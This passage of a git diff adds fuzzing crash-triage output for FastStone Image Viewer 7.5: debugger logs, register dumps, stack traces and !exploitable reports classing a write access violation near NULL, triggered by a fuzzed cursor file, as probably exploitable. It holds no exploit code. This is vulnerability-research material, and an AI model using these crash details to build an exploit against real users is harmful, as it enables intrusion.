+STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..22f6545 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xCA4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xCA4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ca4.e3c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07f57b19 edx=00000000 esi=00000000 edi=07d80fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.489660000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.99336e+026 6.24616e+022 -7.39333e-026 -630888 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002b3000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002b3000 0e75e9e8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6297 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002b3000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d435baf Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/66004/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..801295a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..792a175 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1CE4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1CE4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ce4.10f4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.748550200000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.13113e-026 -23.2166 -1.23471e+037 1.18594e-008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00372000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00372000 358a1353 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ab 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00372000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/67286/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 